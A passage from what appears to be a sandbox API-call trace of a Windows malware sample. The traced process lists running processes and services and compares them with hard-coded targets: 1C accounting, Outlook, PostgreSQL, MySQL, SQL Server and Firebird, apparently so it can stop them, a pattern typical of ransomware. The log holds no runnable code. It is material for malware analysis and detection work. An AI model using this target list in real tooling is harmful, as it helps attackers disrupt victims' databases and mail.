lpString2="UxSms") returned -1 [0257.541] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4232878 | out: hHeap=0x530000) returned 1 [0257.541] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a8 [0257.542] Process32FirstW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.542] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0257.543] lstrlenW (lpString="System") returned 6 [0257.543] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0257.543] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0257.543] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0257.543] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0257.543] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0257.543] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0257.543] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0257.543] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0257.543] lstrlenW (lpString="smss.exe") returned 8 [0257.543] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0257.543] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0257.543] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0257.543] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0257.543] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0257.543] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0257.543] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0257.543] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.544] lstrlenW (lpString="csrss.exe") returned 9 [0257.544] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0257.544] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0257.544] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0257.544] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0257.544] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0257.544] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0257.544] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0257.544] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0257.544] lstrlenW (lpString="wininit.exe") returned 11 [0257.544] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0257.544] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0257.544] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0257.544] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0257.544] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0257.544] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0257.544] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0257.544] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.545] lstrlenW (lpString="csrss.exe") returned 9 [0257.545] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0257.545] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0257.545] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0257.545] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0257.545] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0257.545] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0257.545] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0257.545] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0257.545] lstrlenW (lpString="winlogon.exe") returned 12 [0257.545] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0257.545] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0257.545] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0257.545] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0257.545] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0257.545] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0257.546] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0257.546] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0257.546] lstrlenW (lpString="services.exe") returned 12 [0257.546] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0257.546] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0257.546] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0257.546] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0257.546] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0257.546] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0257.546] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0257.546] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0257.546] lstrlenW (lpString="lsass.exe") returned 9 [0257.546] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0257.546] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0257.546] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0257.547] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0257.547] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0257.547] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0257.547] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0257.547] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0257.547] lstrlenW (lpString="lsm.exe") returned 7 [0257.547] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0257.547] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0257.547] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0257.547] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0257.547] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0257.547] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0257.547] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0257.547] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.547] lstrlenW (lpString="svchost.exe") returned 11 [0257.547] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0257.547] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0257.547] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0257.548] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.548] lstrlenW (lpString="svchost.exe") returned 11 [0257.548] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0257.548] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.548] lstrlenW (lpString="svchost.exe") returned 11 [0257.548] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0257.548] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0257.549] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0257.549] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0257.549] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0257.549] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.549] lstrlenW (lpString="svchost.exe") returned 11 [0257.549] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.549] lstrlenW (lpString="svchost.exe") returned 11 [0257.549] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0257.550] lstrlenW (lpString="audiodg.exe") returned 11 [0257.550] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.550] lstrlenW (lpString="svchost.exe") returned 11 [0257.550] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.550] lstrlenW (lpString="svchost.exe") returned 11 [0257.550] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0257.550] lstrlenW (lpString="userinit.exe") returned 12 [0257.551] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0257.551] lstrlenW (lpString="dwm.exe") returned 7 [0257.551] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0257.551] lstrlenW (lpString="explorer.exe") returned 12 [0257.551] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0257.551] lstrlenW (lpString="spoolsv.exe") returned 11 [0257.551] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0257.552] lstrlenW (lpString="taskhost.exe") returned 12 [0257.552] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.552] lstrlenW (lpString="svchost.exe") returned 11 [0257.552] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0257.552] lstrlenW (lpString="uyuquk.exe") returned 10 [0257.552] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0257.553] lstrlenW (lpString="reader_sl.exe") returned 13 [0257.553] Process32NextW (in: hSnapshot=0x3a8, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0257.553] CloseHandle (hObject=0x3a8) returned 1 [0257.553] Sleep (dwMilliseconds=0x1f4) [0258.118] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aea08 [0258.409] EnumServicesStatusExW (in: hSCManager=0x42aea08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0258.410] GetLastError () returned 0xea [0258.410] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x4232878 [0258.410] EnumServicesStatusExW (in: hSCManager=0x42aea08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4232878, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4232878, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0258.410] CloseServiceHandle (hSCObject=0x42aea08) returned 1 [0258.410] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0258.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0258.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0258.410] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0258.410] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0258.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0258.410] lstrlenW (lpString="AudioSrv") returned 8 [0258.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0258.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0258.410] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0258.410] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0258.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0258.410] lstrlenW (lpString="BFE") returned 3 [0258.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0258.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0258.411] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0258.411] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0258.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0258.411] lstrlenW (lpString="CryptSvc") returned 8 [0258.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0258.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0258.411] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0258.411] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0258.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0258.411] lstrlenW (lpString="CscService") returned 10 [0258.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0258.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0258.411] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0258.411] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0258.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0258.411] lstrlenW (lpString="DcomLaunch") returned 10 [0258.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0258.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0258.411] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0258.411] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0258.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0258.411] lstrlenW (lpString="Dhcp") returned 4 [0258.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0258.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0258.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0258.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0258.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0258.411] lstrlenW (lpString="Dnscache") returned 8 [0258.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0258.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0258.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0258.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0258.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0258.412] lstrlenW (lpString="DPS") returned 3 [0258.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0258.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0258.412] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0258.412] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0258.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0258.412] lstrlenW (lpString="eventlog") returned 8 [0258.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0258.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0258.412] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0258.412] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0258.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0258.412] lstrlenW (lpString="EventSystem") returned 11 [0258.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0258.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0258.412] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0258.412] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0258.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0258.412] lstrlenW (lpString="gpsvc") returned 5 [0258.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0258.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0258.412] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0258.412] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0258.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0258.412] lstrlenW (lpString="LanmanWorkstation") returned 17 [0258.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0258.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0258.412] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0258.412] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0258.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0258.412] lstrlenW (lpString="lmhosts") returned 7 [0258.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0258.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0258.412] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0258.412] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0258.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0258.412] lstrlenW (lpString="MMCSS") returned 5 [0258.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0258.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0258.413] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0258.413] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0258.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0258.413] lstrlenW (lpString="MpsSvc") returned 6 [0258.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0258.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0258.413] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0258.413] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0258.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0258.413] lstrlenW (lpString="NlaSvc") returned 6 [0258.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0258.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0258.413] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0258.413] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0258.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0258.413] lstrlenW (lpString="nsi") returned 3 [0258.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0258.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0258.413] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0258.413] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0258.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0258.413] lstrlenW (lpString="PcaSvc") returned 6 [0258.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0258.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 